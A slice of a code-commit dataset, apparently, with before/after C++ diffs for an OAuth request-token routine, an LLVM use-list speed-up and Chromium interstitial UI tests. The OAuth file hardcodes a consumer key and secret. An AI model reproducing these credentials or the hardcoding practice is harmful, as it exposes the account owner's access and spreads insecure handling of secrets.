m_emsRipProgressMutex.unlock();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"register.h\"\n\n#include <iostream>\n#include <json\/json.h>\n#include <json\/json-forwards.h>\n#include <liboauthcpp\/liboauthcpp.h>\n\n#include \"..\/serverdata.h\"\n#include \"..\/curlutils.h\"\n\nnamespace gms {\n\nstatic std::string consumer_key = \"RZyfh0zasuRGvK_DsiiNhNuh\"; \/\/ Key from Tommy\nstatic std::string consumer_secret = \"8-5bVfnChgJdGb8MaocGa2_A\"; \/\/ Secret from Tommy\n\nstatic const std::string RegisterRootPath = \"\/register\";\n\nbool Register::CompatiblePath(const std::string &path)\n{\n    if (path.compare(0, RegisterRootPath.length(), RegisterRootPath) == 0) return true;\n    return false;\n}\n\nRegister::Register()\n{\n    \/\/ nothing to do\n}\n\nRegister::~Register()\n{\n    \/\/ nothing to do\n}\n\nstd::string Register::execute(const std::string& path, const std::map<std::string, std::string>& argvals,\n                              ServerData* data)\n{\n    \/\/ initialisation\n    OAuth::Consumer consumer(consumer_key, consumer_secret);\n    OAuth::Client oauth(&consumer);\n\n    \/\/ Step 1: Get a request token. This is a temporary token that is used for\n    \/\/ having the user authorize an access token and to sign the request to\n    \/\/ obtain said access token.\n\n    \/\/ add in the scope of our token to define the limits of the access token\n    \/\/ FIXME: this is all the available features - do we need them all?\n    std::string scopeBaseUrl = data->getRepositoryUrl() + \"\/oauth_scope\/\";\n    std::string collectionScope = scopeBaseUrl + \"collection\";\n    std::string searchScope =  scopeBaseUrl + \"search\";\n    std::string workspaceTempAuthScope =  scopeBaseUrl + \"workspace_tempauth\";\n    std::string workspaceFullScope = scopeBaseUrl + \"workspace_full\";\n    std::string request_token_query_args = \"oauth_callback=oob\";\n    request_token_query_args += \"&scope=\" + OAuth::PercentEncode(\n                collectionScope + \",\" + searchScope + \",\" + workspaceTempAuthScope +\n                \",\" + workspaceFullScope\n                );\n\n    std::string requestTokenUrl = data->getRepositoryUrl() + \"\/OAuthRequestToken\";\n    std::string base_request_token_url = requestTokenUrl + (request_token_query_args.empty() ? std::string(\"\") : (std::string(\"?\")+request_token_query_args) );\n    std::string oAuthQueryString =\n        oauth.getURLQueryString( OAuth::Http::Get, base_request_token_url);\n\n    requestTokenUrl += \"?\" + oAuthQueryString;\n    std::string requestToken = getUrlContent(requestTokenUrl);\n    std::cout << \"Request token returned: \" << requestToken << std::endl;\n\n    \/\/ Extract the token and token_secret from the response\n    \/\/ This time we pass the response directly and have the library do the\n    \/\/ parsing (see next extractToken call for alternative)\n    OAuth::Token request_token = OAuth::Token::extract(requestToken);\n\n    \/\/ Get access token and secret from OAuth object\n    std::cout << \"Request Token:\" << std::endl;\n    std::cout << \"    - oauth_token        = \" << request_token.key() << std::endl;\n    std::cout << \"    - oauth_token_secret = \" << request_token.secret() << std::endl;\n    std::cout << std::endl;\n\n    return \"bob\";\n}\n\n\n} \/\/ namespace gms\n<commit_msg>trying to request a token using headers, but something is not working; URL based method is working<commit_after>#include \"register.h\"\n\n#include <iostream>\n#include <json\/json.h>\n#include <json\/json-forwards.h>\n#include <liboauthcpp\/liboauthcpp.h>\n\n#include \"..\/serverdata.h\"\n#include \"..\/curlutils.h\"\n\nnamespace gms {\n\nstatic std::string consumer_key = \"RZyfh0zasuRGvK_DsiiNhNuh\"; \/\/ Key from Tommy\nstatic std::string consumer_secret = \"8-5bVfnChgJdGb8MaocGa2_A\"; \/\/ Secret from Tommy\n\nstatic const std::string RegisterRootPath = \"\/register\";\n\nbool Register::CompatiblePath(const std::string &path)\n{\n    if (path.compare(0, RegisterRootPath.length(), RegisterRootPath) == 0) return true;\n    return false;\n}\n\nRegister::Register()\n{\n    \/\/ nothing to do\n}\n\nRegister::~Register()\n{\n    \/\/ nothing to do\n}\n\nstd::string Register::execute(const std::string& path, const std::map<std::string, std::string>& argvals,\n                              ServerData* data)\n{\n    \/\/ initialisation\n    OAuth::Consumer consumer(consumer_key, consumer_secret);\n    OAuth::Client oauth(&consumer);\n\n    \/\/ Step 1: Get a request token. This is a temporary token that is used for\n    \/\/ having the user authorize an access token and to sign the request to\n    \/\/ obtain said access token.\n\n    \/\/ add in the scope of our token to define the limits of the access token\n    \/\/ FIXME: this is all the available features - do we need them all?\n    std::string scopeBaseUrl = data->getRepositoryUrl() + \"\/oauth_scope\/\";\n    std::string collectionScope = scopeBaseUrl + \"collection\";\n    std::string searchScope =  scopeBaseUrl + \"search\";\n    std::string workspaceTempAuthScope =  scopeBaseUrl + \"workspace_tempauth\";\n    std::string workspaceFullScope = scopeBaseUrl + \"workspace_full\";\n    std::string request_token_query_args = \"oauth_callback=oob\";\n    request_token_query_args += \"&scope=\" + OAuth::PercentEncode(\n                collectionScope + \",\" + searchScope + \",\" + workspaceTempAuthScope +\n                \",\" + workspaceFullScope\n                );\n\n    std::string requestTokenUrl = data->getRepositoryUrl() + \"\/OAuthRequestToken\";\n    std::string base_request_token_url = requestTokenUrl + (request_token_query_args.empty() ? std::string(\"\") : (std::string(\"?\")+request_token_query_args) );\n    std::string oAuthQueryString =\n        oauth.getURLQueryString( OAuth::Http::Get, base_request_token_url);\n    std::string oAuthHttpHeader =\n        oauth.getFormattedHttpHeader(OAuth::Http::Get, base_request_token_url);\n\n    \/\/requestTokenUrl += \"?\" + oAuthQueryString;\n    std::string requestToken = getUrlContent(requestTokenUrl + \"?\" + oAuthQueryString);\n    std::cout << \"Request token returned: \" << requestToken << std::endl;\n    requestToken = getUrlWithHeaders(requestTokenUrl, oAuthHttpHeader);\n    std::cout << \"Request token returned: \" << requestToken << std::endl;\n\n    \/\/ seems liboauth doesn't always check things, so we need to check the result ourselves\n    if (requestToken.length() == 0)\n    {\n        std::cerr << \"Unable to get get request token, so quitting.\" << std::endl;\n        return \"MISSING REQUEST TOKEN\";\n    }\n\n    \/\/ Extract the token and token_secret from the response\n    \/\/ This time we pass the response directly and have the library do the\n    \/\/ parsing (see next extractToken call for alternative)\n    OAuth::Token request_token = OAuth::Token::extract(requestToken);\n\n    \/\/ Get access token and secret from OAuth object\n    std::cout << \"Request Token:\" << std::endl;\n    std::cout << \"    - oauth_token        = \" << request_token.key() << std::endl;\n    std::cout << \"    - oauth_token_secret = \" << request_token.secret() << std::endl;\n    std::cout << std::endl;\n\n    return \"bob\";\n}\n\n\n} \/\/ namespace gms\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Cause a segfault in our tests explicitly (that way the optimizer won't change what signal is raised)<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/===-- Value.cpp - Implement the Value class -----------------------------===\/\/\n\/\/\n\/\/ This file implements the Value and User classes. \n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/InstrTypes.h\"\n#include \"llvm\/SymbolTable.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Constant.h\"\n#include \"Support\/LeakDetector.h\"\n#include <algorithm>\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                                Value Class\n\/\/===----------------------------------------------------------------------===\/\/\n\nstatic inline const Type *checkType(const Type *Ty) {\n  assert(Ty && \"Value defined with a null type: Error!\");\n  return Ty;\n}\n\nValue::Value(const Type *ty, ValueTy vty, const std::string &name)\n  : Name(name), Ty(checkType(ty), this) {\n  VTy = vty;\n}\n\nValue::~Value() {\n#ifndef NDEBUG      \/\/ Only in -g mode...\n  \/\/ Check to make sure that there are no uses of this value that are still\n  \/\/ around when the value is destroyed.  If there are, then we have a dangling\n  \/\/ reference and something is wrong.  This code is here to print out what is\n  \/\/ still being referenced.  The value in question should be printed as \n  \/\/ a <badref>\n  \/\/\n  if (Uses.begin() != Uses.end()) {\n    std::cerr << \"While deleting: \" << Ty << \"%\" << Name << \"\\n\";\n    for (use_const_iterator I = Uses.begin(); I != Uses.end(); ++I)\n      std::cerr << \"Use still stuck around after Def is destroyed:\"\n                << **I << \"\\n\";\n  }\n#endif\n  assert(Uses.begin() == Uses.end());\n\n  \/\/ There should be no uses of this object anymore, remove it.\n  LeakDetector::removeGarbageObject(this);\n}\n\n\n\n\nvoid Value::replaceAllUsesWith(Value *New) {\n  assert(New && \"Value::replaceAllUsesWith(<null>) is invalid!\");\n  assert(New != this && \"this->replaceAllUsesWith(this) is NOT valid!\");\n  assert(New->getType() == getType() &&\n         \"replaceAllUses of value with new value of different type!\");\n  while (!Uses.empty()) {\n    User *Use = Uses.back();\n    \/\/ Must handle Constants specially, we cannot call replaceUsesOfWith on a\n    \/\/ constant!\n    if (Constant *C = dyn_cast<Constant>(Use)) {\n      C->replaceUsesOfWithOnConstant(this, New);\n    } else {\n      Use->replaceUsesOfWith(this, New);\n    }\n  }\n}\n\n\/\/ refineAbstractType - This function is implemented because we use\n\/\/ potentially abstract types, and these types may be resolved to more\n\/\/ concrete types after we are constructed.  For the value class, we simply\n\/\/ change Ty to point to the right type.  :)\n\/\/\nvoid Value::refineAbstractType(const DerivedType *OldTy, const Type *NewTy) {\n  assert(Ty.get() == OldTy && \"Can't refine anything but my type!\");\n  if (OldTy == NewTy && !OldTy->isAbstract())\n    Ty.removeUserFromConcrete();\n  Ty = NewTy;\n}\n\nvoid Value::killUse(User *U) {\n  if (U == 0) return;\n  unsigned i;\n\n  \/\/ Scan backwards through the uses list looking for the user.  We do this\n  \/\/ because vectors like to be accessed on the end.  This is incredibly\n  \/\/ important from a performance perspective.\n  for (i = Uses.size()-1; Uses[i] != U; --i)\n    \/* empty *\/;\n\n  assert(i < Uses.size() && \"Use not in uses list!!\");\n  Uses.erase(Uses.begin()+i);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                                 User Class\n\/\/===----------------------------------------------------------------------===\/\/\n\nUser::User(const Type *Ty, ValueTy vty, const std::string &name) \n  : Value(Ty, vty, name) {\n}\n\n\/\/ replaceUsesOfWith - Replaces all references to the \"From\" definition with\n\/\/ references to the \"To\" definition.\n\/\/\nvoid User::replaceUsesOfWith(Value *From, Value *To) {\n  if (From == To) return;   \/\/ Duh what?\n\n  assert(!isa<Constant>(this) &&\n         \"Cannot call User::replaceUsesofWith on a constant!\");\n\n  for (unsigned i = 0, E = getNumOperands(); i != E; ++i)\n    if (getOperand(i) == From) {  \/\/ Is This operand is pointing to oldval?\n      \/\/ The side effects of this setOperand call include linking to\n      \/\/ \"To\", adding \"this\" to the uses list of To, and\n      \/\/ most importantly, removing \"this\" from the use list of \"From\".\n      setOperand(i, To); \/\/ Fix it now...\n    }\n}\n<commit_msg>This speeds up processing LLVM a _lot_, 17% in the case of loading and destroying \"vortex\"<commit_after>\/\/===-- Value.cpp - Implement the Value class -----------------------------===\/\/\n\/\/\n\/\/ This file implements the Value and User classes. \n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/InstrTypes.h\"\n#include \"llvm\/SymbolTable.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Constant.h\"\n#include \"Support\/LeakDetector.h\"\n#include <algorithm>\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                                Value Class\n\/\/===----------------------------------------------------------------------===\/\/\n\nstatic inline const Type *checkType(const Type *Ty) {\n  assert(Ty && \"Value defined with a null type: Error!\");\n  return Ty;\n}\n\nValue::Value(const Type *ty, ValueTy vty, const std::string &name)\n  : Name(name), Ty(checkType(ty), this) {\n  VTy = vty;\n}\n\nValue::~Value() {\n#ifndef NDEBUG      \/\/ Only in -g mode...\n  \/\/ Check to make sure that there are no uses of this value that are still\n  \/\/ around when the value is destroyed.  If there are, then we have a dangling\n  \/\/ reference and something is wrong.  This code is here to print out what is\n  \/\/ still being referenced.  The value in question should be printed as \n  \/\/ a <badref>\n  \/\/\n  if (Uses.begin() != Uses.end()) {\n    std::cerr << \"While deleting: \" << Ty << \"%\" << Name << \"\\n\";\n    for (use_const_iterator I = Uses.begin(); I != Uses.end(); ++I)\n      std::cerr << \"Use still stuck around after Def is destroyed:\"\n                << **I << \"\\n\";\n  }\n#endif\n  assert(Uses.begin() == Uses.end());\n\n  \/\/ There should be no uses of this object anymore, remove it.\n  LeakDetector::removeGarbageObject(this);\n}\n\n\n\n\nvoid Value::replaceAllUsesWith(Value *New) {\n  assert(New && \"Value::replaceAllUsesWith(<null>) is invalid!\");\n  assert(New != this && \"this->replaceAllUsesWith(this) is NOT valid!\");\n  assert(New->getType() == getType() &&\n         \"replaceAllUses of value with new value of different type!\");\n  while (!Uses.empty()) {\n    User *Use = Uses.back();\n    \/\/ Must handle Constants specially, we cannot call replaceUsesOfWith on a\n    \/\/ constant!\n    if (Constant *C = dyn_cast<Constant>(Use)) {\n      C->replaceUsesOfWithOnConstant(this, New);\n    } else {\n      Use->replaceUsesOfWith(this, New);\n    }\n  }\n}\n\n\/\/ refineAbstractType - This function is implemented because we use\n\/\/ potentially abstract types, and these types may be resolved to more\n\/\/ concrete types after we are constructed.  For the value class, we simply\n\/\/ change Ty to point to the right type.  :)\n\/\/\nvoid Value::refineAbstractType(const DerivedType *OldTy, const Type *NewTy) {\n  assert(Ty.get() == OldTy && \"Can't refine anything but my type!\");\n  if (OldTy == NewTy && !OldTy->isAbstract())\n    Ty.removeUserFromConcrete();\n  Ty = NewTy;\n}\n\nvoid Value::killUse(User *U) {\n  if (U == 0) return;\n  unsigned i;\n\n  \/\/ Scan backwards through the uses list looking for the user.  We do this\n  \/\/ because vectors like to be accessed on the end.  This is incredibly\n  \/\/ important from a performance perspective.\n  for (i = Uses.size()-1; Uses[i] != U; --i)\n    \/* empty *\/;\n\n  assert(i < Uses.size() && \"Use not in uses list!!\");\n  Uses[i] = Uses.back();\n  Uses.pop_back();\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                                 User Class\n\/\/===----------------------------------------------------------------------===\/\/\n\nUser::User(const Type *Ty, ValueTy vty, const std::string &name) \n  : Value(Ty, vty, name) {\n}\n\n\/\/ replaceUsesOfWith - Replaces all references to the \"From\" definition with\n\/\/ references to the \"To\" definition.\n\/\/\nvoid User::replaceUsesOfWith(Value *From, Value *To) {\n  if (From == To) return;   \/\/ Duh what?\n\n  assert(!isa<Constant>(this) &&\n         \"Cannot call User::replaceUsesofWith on a constant!\");\n\n  for (unsigned i = 0, E = getNumOperands(); i != E; ++i)\n    if (getOperand(i) == From) {  \/\/ Is This operand is pointing to oldval?\n      \/\/ The side effects of this setOperand call include linking to\n      \/\/ \"To\", adding \"this\" to the uses list of To, and\n      \/\/ most importantly, removing \"this\" from the use list of \"From\".\n      setOperand(i, To); \/\/ Fix it now...\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>make sure apply3_flat doest something with the dimxx params<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/url_request\/url_request_unittest.h\"\n\nnamespace {\n\nconst wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n\nconst std::string kInterstitialPageHTMLText =\n    \"<html><head><title>Interstitial page<\/title><\/head><body><h1>This is an\"\n    \"interstitial page<\/h1><\/body><\/html>\";\n\n\nclass InterstitialPageTest : public UITest {\n protected:\n  InterstitialPageTest() {\n    show_window_ = true;\n  }\n\n  TabProxy* GetActiveTabProxy() {\n    scoped_ptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n    EXPECT_TRUE(browser_proxy.get());\n\n    int active_tab_index = 0;\n    EXPECT_TRUE(browser_proxy->GetActiveTabIndex(&active_tab_index));\n    return browser_proxy->GetTab(active_tab_index);\n  }\n\n  void NavigateTab(TabProxy* tab_proxy, const GURL& url) {\n    ASSERT_TRUE(tab_proxy->NavigateToURL(url));\n  }\n\n  void AppendTab(const GURL& url) {\n    scoped_ptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n    EXPECT_TRUE(browser_proxy.get());\n    EXPECT_TRUE(browser_proxy->AppendTab(url));\n  }\n};\n\n}  \/\/ namespace\n\n\/\/ Shows and hides an interstitial page.\n\/\/ Note that we cannot rely on the page title in this case (and we use the page\n\/\/ type instead) as showing an interstitial without creating a navigation entry\n\/\/ causes the actual navigation entry (title) to be modified by the content of\n\/\/ the interstitial.\nTEST_F(InterstitialPageTest, TestShowHideInterstitial) {\n  scoped_refptr<HTTPTestServer> server =\n      HTTPTestServer::CreateServer(kDocRoot);\n  ASSERT_TRUE(NULL != server.get());\n\n  ::scoped_ptr<TabProxy> tab(GetActiveTabProxy());\n  NavigateTab(tab.get(),\n              server->TestServerPageW(L\"files\/interstitial_page\/google.html\"));\n  NavigationEntry::PageType page_type;\n  EXPECT_TRUE(tab->GetPageType(&page_type));\n  EXPECT_EQ(NavigationEntry::NORMAL_PAGE, page_type);\n\n  tab->ShowInterstitialPage(kInterstitialPageHTMLText, action_timeout_ms());\n  EXPECT_TRUE(tab->GetPageType(&page_type));\n  EXPECT_EQ(NavigationEntry::INTERSTITIAL_PAGE, page_type);\n\n  tab->HideInterstitialPage();\n  EXPECT_TRUE(tab->GetPageType(&page_type));\n  EXPECT_EQ(NavigationEntry::NORMAL_PAGE, page_type);\n}\n\n\/\/ Shows an interstitial page then goes back.\n\/\/ TODO(creis): We are disabling this test for now.  We need to revisit\n\/\/ whether the interstitial page should actually commit a NavigationEntry,\n\/\/ because this clears the forward list and changes the meaning of back.  It\n\/\/ seems like the interstitial should not affect the NavigationController,\n\/\/ who will remain in a pending state until the user either proceeds or cancels\n\/\/ the interstitial.  In the mean time, we are treating Back like cancelling\n\/\/ the interstitial, which breaks this test because no notification occurs.\nTEST_F(InterstitialPageTest, DISABLED_TestShowInterstitialThenBack) {\n  scoped_refptr<HTTPTestServer> server =\n      HTTPTestServer::CreateServer(kDocRoot);\n  ASSERT_TRUE(NULL != server.get());\n\n  ::scoped_ptr<TabProxy> tab(GetActiveTabProxy());\n  NavigateTab(tab.get(),\n              server->TestServerPageW(L\"files\/interstitial_page\/google.html\"));\n  EXPECT_EQ(L\"Google\", GetActiveTabTitle());\n\n  tab->ShowInterstitialPage(kInterstitialPageHTMLText, action_timeout_ms());\n  EXPECT_EQ(L\"Interstitial page\", GetActiveTabTitle());\n\n  tab->GoBack();\n  EXPECT_EQ(L\"Google\", GetActiveTabTitle());\n}\n\n\/\/ Shows an interstitial page then navigates to a new URL.\n\/\/ Flacky on Windows 2000 bot. Disabled for now bug #1173138.\nTEST_F(InterstitialPageTest, DISABLED_TestShowInterstitialThenNavigate) {\n  scoped_refptr<HTTPTestServer> server =\n      HTTPTestServer::CreateServer(kDocRoot);\n  ASSERT_TRUE(NULL != server.get());\n\n  ::scoped_ptr<TabProxy> tab(GetActiveTabProxy());\n  NavigateTab(tab.get(),\n              server->TestServerPageW(L\"files\/interstitial_page\/google.html\"));\n  EXPECT_EQ(L\"Google\", GetActiveTabTitle());\n\n  tab->ShowInterstitialPage(kInterstitialPageHTMLText, action_timeout_ms());\n  EXPECT_EQ(L\"Interstitial page\", GetActiveTabTitle());\n\n  tab->NavigateToURL(\n      server->TestServerPageW(L\"files\/interstitial_page\/shopping.html\"));\n  EXPECT_EQ(L\"Google Product Search\", GetActiveTabTitle());\n}\n\n\/\/ Shows an interstitial page then closes the tab (to make sure we don't crash).\nTEST_F(InterstitialPageTest, TestShowInterstitialThenCloseTab) {\n  scoped_refptr<HTTPTestServer> server =\n      HTTPTestServer::CreateServer(kDocRoot);\n  ASSERT_TRUE(NULL != server.get());\n\n  \/\/ Create 2 tabs so closing one does not close the browser.\n  AppendTab(server->TestServerPageW(L\"files\/interstitial_page\/google.html\"));\n  ::scoped_ptr<TabProxy> tab(GetActiveTabProxy());\n  EXPECT_EQ(L\"Google\", GetActiveTabTitle());\n\n  tab->ShowInterstitialPage(kInterstitialPageHTMLText, action_timeout_ms());\n  EXPECT_EQ(L\"Interstitial page\", GetActiveTabTitle());\n  tab->Close();\n}\n\n\/\/ Shows an interstitial page then closes the browser (to make sure we don't\n\/\/ crash).\n\/\/ This test is disabled. See bug #1119448.\nTEST_F(InterstitialPageTest, DISABLED_TestShowInterstitialThenCloseBrowser) {\n  scoped_refptr<HTTPTestServer> server =\n      HTTPTestServer::CreateServer(kDocRoot);\n  ASSERT_TRUE(NULL != server.get());\n\n  ::scoped_ptr<TabProxy> tab(GetActiveTabProxy());\n  tab->NavigateToURL(\n      server->TestServerPageW(L\"files\/interstitial_page\/google.html\"));\n  EXPECT_EQ(L\"Google\", GetActiveTabTitle());\n\n  tab->ShowInterstitialPage(kInterstitialPageHTMLText, action_timeout_ms());\n  EXPECT_EQ(L\"Interstitial page\", GetActiveTabTitle());\n\n  scoped_ptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n  EXPECT_TRUE(browser_proxy.get());\n  bool application_closed;\n  EXPECT_TRUE(CloseBrowser(browser_proxy.get(), &application_closed));\n  EXPECT_TRUE(application_closed);\n}\n\n\n\n<commit_msg>Disables an interstitial test that occassionally fails.<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/url_request\/url_request_unittest.h\"\n\nnamespace {\n\nconst wchar_t kDocRoot[] = L\"chrome\/test\/data\";\n\nconst std::string kInterstitialPageHTMLText =\n    \"<html><head><title>Interstitial page<\/title><\/head><body><h1>This is an\"\n    \"interstitial page<\/h1><\/body><\/html>\";\n\n\nclass InterstitialPageTest : public UITest {\n protected:\n  InterstitialPageTest() {\n    show_window_ = true;\n  }\n\n  TabProxy* GetActiveTabProxy() {\n    scoped_ptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n    EXPECT_TRUE(browser_proxy.get());\n\n    int active_tab_index = 0;\n    EXPECT_TRUE(browser_proxy->GetActiveTabIndex(&active_tab_index));\n    return browser_proxy->GetTab(active_tab_index);\n  }\n\n  void NavigateTab(TabProxy* tab_proxy, const GURL& url) {\n    ASSERT_TRUE(tab_proxy->NavigateToURL(url));\n  }\n\n  void AppendTab(const GURL& url) {\n    scoped_ptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n    EXPECT_TRUE(browser_proxy.get());\n    EXPECT_TRUE(browser_proxy->AppendTab(url));\n  }\n};\n\n}  \/\/ namespace\n\n\/\/ Shows and hides an interstitial page.\n\/\/ Note that we cannot rely on the page title in this case (and we use the page\n\/\/ type instead) as showing an interstitial without creating a navigation entry\n\/\/ causes the actual navigation entry (title) to be modified by the content of\n\/\/ the interstitial.\nTEST_F(InterstitialPageTest, TestShowHideInterstitial) {\n  scoped_refptr<HTTPTestServer> server =\n      HTTPTestServer::CreateServer(kDocRoot);\n  ASSERT_TRUE(NULL != server.get());\n\n  ::scoped_ptr<TabProxy> tab(GetActiveTabProxy());\n  NavigateTab(tab.get(),\n              server->TestServerPageW(L\"files\/interstitial_page\/google.html\"));\n  NavigationEntry::PageType page_type;\n  EXPECT_TRUE(tab->GetPageType(&page_type));\n  EXPECT_EQ(NavigationEntry::NORMAL_PAGE, page_type);\n\n  tab->ShowInterstitialPage(kInterstitialPageHTMLText, action_timeout_ms());\n  EXPECT_TRUE(tab->GetPageType(&page_type));\n  EXPECT_EQ(NavigationEntry::INTERSTITIAL_PAGE, page_type);\n\n  tab->HideInterstitialPage();\n  EXPECT_TRUE(tab->GetPageType(&page_type));\n  EXPECT_EQ(NavigationEntry::NORMAL_PAGE, page_type);\n}\n\n\/\/ Shows an interstitial page then goes back.\n\/\/ TODO(creis): We are disabling this test for now.  We need to revisit\n\/\/ whether the interstitial page should actually commit a NavigationEntry,\n\/\/ because this clears the forward list and changes the meaning of back.  It\n\/\/ seems like the interstitial should not affect the NavigationController,\n\/\/ who will remain in a pending state until the user either proceeds or cancels\n\/\/ the interstitial.  In the mean time, we are treating Back like cancelling\n\/\/ the interstitial, which breaks this test because no notification occurs.\nTEST_F(InterstitialPageTest, DISABLED_TestShowInterstitialThenBack) {\n  scoped_refptr<HTTPTestServer> server =\n      HTTPTestServer::CreateServer(kDocRoot);\n  ASSERT_TRUE(NULL != server.get());\n\n  ::scoped_ptr<TabProxy> tab(GetActiveTabProxy());\n  NavigateTab(tab.get(),\n              server->TestServerPageW(L\"files\/interstitial_page\/google.html\"));\n  EXPECT_EQ(L\"Google\", GetActiveTabTitle());\n\n  tab->ShowInterstitialPage(kInterstitialPageHTMLText, action_timeout_ms());\n  EXPECT_EQ(L\"Interstitial page\", GetActiveTabTitle());\n\n  tab->GoBack();\n  EXPECT_EQ(L\"Google\", GetActiveTabTitle());\n}\n\n\/\/ Shows an interstitial page then navigates to a new URL.\n\/\/ Flacky on Windows 2000 bot. Disabled for now bug #1173138.\nTEST_F(InterstitialPageTest, DISABLED_TestShowInterstitialThenNavigate) {\n  scoped_refptr<HTTPTestServer> server =\n      HTTPTestServer::CreateServer(kDocRoot);\n  ASSERT_TRUE(NULL != server.get());\n\n  ::scoped_ptr<TabProxy> tab(GetActiveTabProxy());\n  NavigateTab(tab.get(),\n              server->TestServerPageW(L\"files\/interstitial_page\/google.html\"));\n  EXPECT_EQ(L\"Google\", GetActiveTabTitle());\n\n  tab->ShowInterstitialPage(kInterstitialPageHTMLText, action_timeout_ms());\n  EXPECT_EQ(L\"Interstitial page\", GetActiveTabTitle());\n\n  tab->NavigateToURL(\n      server->TestServerPageW(L\"files\/interstitial_page\/shopping.html\"));\n  EXPECT_EQ(L\"Google Product Search\", GetActiveTabTitle());\n}\n\n\/\/ Shows an interstitial page then closes the tab (to make sure we don't crash).\n\/\/ This test is disabled as it occasionally makes the ui tests stop running.\n\/\/ See bug 6729.\nTEST_F(InterstitialPageTest, DISABLED_TestShowInterstitialThenCloseTab) {\n  scoped_refptr<HTTPTestServer> server =\n      HTTPTestServer::CreateServer(kDocRoot);\n  ASSERT_TRUE(NULL != server.get());\n\n  \/\/ Create 2 tabs so closing one does not close the browser.\n  AppendTab(server->TestServerPageW(L\"files\/interstitial_page\/google.html\"));\n  ::scoped_ptr<TabProxy> tab(GetActiveTabProxy());\n  EXPECT_EQ(L\"Google\", GetActiveTabTitle());\n\n  tab->ShowInterstitialPage(kInterstitialPageHTMLText, action_timeout_ms());\n  EXPECT_EQ(L\"Interstitial page\", GetActiveTabTitle());\n  tab->Close();\n}\n\n\/\/ Shows an interstitial page then closes the browser (to make sure we don't\n\/\/ crash).\n\/\/ This test is disabled. See bug #1119448.\nTEST_F(InterstitialPageTest, DISABLED_TestShowInterstitialThenCloseBrowser) {\n  scoped_refptr<HTTPTestServer> server =\n      HTTPTestServer::CreateServer(kDocRoot);\n  ASSERT_TRUE(NULL != server.get());\n\n  ::scoped_ptr<TabProxy> tab(GetActiveTabProxy());\n  tab->NavigateToURL(\n      server->TestServerPageW(L\"files\/interstitial_page\/google.html\"));\n  EXPECT_EQ(L\"Google\", GetActiveTabTitle());\n\n  tab->ShowInterstitialPage(kInterstitialPageHTMLText, action_timeout_ms());\n  EXPECT_EQ(L\"Interstitial page\", GetActiveTabTitle());\n\n  scoped_ptr<BrowserProxy> browser_proxy(automation()->GetBrowserWindow(0));\n  EXPECT_TRUE(browser_proxy.get());\n  bool application_closed;\n  EXPECT_TRUE(CloseBrowser(browser_proxy.get(), &application_closed));\n  EXPECT_TRUE(application_closed);\n}\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ This test validates that the ProcessSingleton class properly makes sure\n\/\/ that there is only one main browser process.\n\/\/\n\/\/ It is currently compiled and run on Windows and Posix(non-Mac) platforms.\n\/\/ Mac uses system services and ProcessSingletonMac is a noop.  (Maybe it still\n\/\/ makes sense to test that the system services are giving the behavior we\n\/\/ want?)\n\n#include <list>\n\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/path_service.h\"\n#include \"base\/process_util.h\"\n#include \"base\/scoped_temp_dir.h\"\n#include \"base\/synchronization\/waitable_event.h\"\n#include \"base\/test\/test_timeouts.h\"\n#include \"base\/threading\/thread.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/test_launcher_utils.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace {\n\n\/\/ This is for the code that is to be ran in multiple threads at once,\n\/\/ to stress a race condition on first process start.\n\/\/ We use the thread safe ref counted base class so that we can use the\n\/\/ NewRunnableMethod class to run the StartChrome methods in many threads.\nclass ChromeStarter : public base::RefCountedThreadSafe<ChromeStarter> {\n public:\n  ChromeStarter(int timeout_ms, const FilePath& user_data_dir)\n      : ready_event_(false \/* manual *\/, false \/* signaled *\/),\n        done_event_(false \/* manual *\/, false \/* signaled *\/),\n        process_handle_(base::kNullProcessHandle),\n        process_terminated_(false),\n        timeout_ms_(timeout_ms),\n        user_data_dir_(user_data_dir) {\n  }\n\n  \/\/ We must reset some data members since we reuse the same ChromeStarter\n  \/\/ object and start\/stop it a few times. We must start fresh! :-)\n  void Reset() {\n    ready_event_.Reset();\n    done_event_.Reset();\n    if (process_handle_ != base::kNullProcessHandle)\n      